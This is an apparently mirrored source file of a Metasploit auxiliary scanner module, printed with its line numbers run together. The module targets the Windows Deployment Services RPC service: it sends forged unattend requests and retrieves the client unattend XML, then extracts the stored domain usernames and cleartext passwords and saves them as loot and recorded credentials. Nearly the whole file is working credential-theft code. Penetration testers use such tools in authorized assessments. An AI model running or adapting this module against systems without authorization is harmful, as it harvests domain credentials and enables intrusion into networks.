Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::DCERPC8include Msf::Auxiliary::Report9include Msf::Auxiliary::Scanner1011DCERPCPacket = Rex::Proto::DCERPC::Packet12DCERPCClient = Rex::Proto::DCERPC::Client13DCERPCResponse = Rex::Proto::DCERPC::Response14DCERPCUUID = Rex::Proto::DCERPC::UUID15WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants1617def initialize(info = {})18super(update_info(info,19'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',20'Description' => %q{21This module retrieves the client unattend file from Windows22Deployment Services RPC service and parses out the stored credentials.23Tested against Windows 2008 R2 x64 and Windows 2003 x86.24},25'Author' => [ 'Ben Campbell' ],26'License' => MSF_LICENSE,27'References' =>28[29[ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],30[ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']31],32))3334register_options(35[36Opt::RPORT(5040),37])3839deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')4041register_advanced_options(42[43OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])44])45end4647def run_host(ip)48begin49query_host(ip)50rescue ::Interrupt51raise $!52rescue ::Rex::ConnectionError => e53print_error("#{ip}:#{rport} Connection Error: #{e}")54ensure55# Ensure socket is pulled down afterwards56self.dcerpc.socket.close rescue nil57self.dcerpc = nil58self.handle = nil59end60end6162def query_host(rhost)63# Create a handler with our UUID and Transfer Syntax6465self.handle = Rex::Proto::DCERPC::Handle.new(66[67WDS_CONST::WDSCP_RPC_UUID,68'1.0',69],70'ncacn_ip_tcp',71rhost,72[datastore['RPORT']]73)7475print_status("Binding to #{handle} ...")7677self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)78vprint_good("Bound to #{handle}")7980report_service(81:host => rhost,82:port => datastore['RPORT'],83:proto => 'tcp',84:name => "dcerpc",85:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"86)8788table = Rex::Text::Table.new({89'Header' => 'Windows Deployment Services',90'Indent' => 1,91'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']92})9394creds_found = false9596WDS_CONST::ARCHITECTURE.each do |architecture|97if architecture[0] == :ARM && !datastore['ENUM_ARM']98vprint_status "Skipping #{architecture[0]} architecture due to adv option"99next100end101102begin103result = request_client_unattend(architecture)104rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e105vprint_error(e.to_s)106print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")107return nil108end109110unless result.nil?111loot_unattend(architecture[0], result)112results = parse_client_unattend(result)113114results.each do |result|115unless result.empty?116if result['username'] and result['password']117print_good("Retrieved #{result['type']} credentials for #{architecture[0]}")118creds_found = true119domain = ""120domain = result['domain'] if result['domain']121report_creds(domain, result['username'], result['password'])122table << [architecture[0], result['type'], domain, result['username'], result['password']]123end124end125end126end127end128129if creds_found130print_line131table.print132print_line133else134print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")135end136end137138def request_client_unattend(architecture)139# Construct WDS Control Protocol Message140packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)141142guid = Rex::Text.rand_text_hex(32)143packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)144145# Not sure what this padding is for...146mac = [0x30].pack('C') * 20147mac << Rex::Text.rand_text_hex(12)148packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)149150arch = [architecture[1]].pack('C')151packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)152153version = [1].pack('V')154packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)155156wdsc_packet = packet.create157158vprint_status("Sending #{architecture[0]} Client Unattend request ...")159dcerpc.call(0, wdsc_packet, false)160timeout = datastore['DCERPC::ReadTimeout']161response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)162163if (response and response.stub_data)164vprint_status('Received response ...')165data = response.stub_data166167# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000168op_error_code = data.unpack('v*')[19]169if op_error_code == 0170if data.length < 277171vprint_error("No Unattend received for #{architecture[0]} architecture")172return nil173else174vprint_status("Received #{architecture[0]} unattend file ...")175return extract_unattend(data)176end177else178vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")179return nil180end181end182end183184def extract_unattend(data)185start = data.index('<?xml')186finish = data.index('</unattend>')187if start and finish188finish += 10189return data[start..finish]190else191print_error("Incomplete transmission or malformed unattend file.")192return nil193end194end195196def parse_client_unattend(data)197begin198xml = REXML::Document.new(data)199return Rex::Parser::Unattend.parse(xml).flatten200rescue REXML::ParseException => e201print_error("Invalid XML format")202vprint_line(e.message)203return nil204end205end206207def loot_unattend(archi, data)208return if data.empty?209p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")210print_good("Raw version of #{archi} saved as: #{p}")211end212213def report_cred(opts)214service_data = {215address: opts[:ip],216port: opts[:port],217service_name: opts[:service_name],218protocol: 'tcp',219workspace_id: myworkspace_id220}221222credential_data = {223origin_type: :service,224module_fullname: fullname,225username: opts[:user],226private_data: opts[:password],227private_type: :password228}.merge(service_data)229230login_data = {231core: create_credential(credential_data),232status: Metasploit::Model::Login::Status::UNTRIED,233proof: opts[:proof]234}.merge(service_data)235236create_credential_login(login_data)237end238239def report_creds(domain, user, pass)240report_cred(241ip: rhost,242port: 4050,243service_name: 'dcerpc',244user: "#{domain}\\#{user}",245password: pass,246proof: domain247)248end249end250251252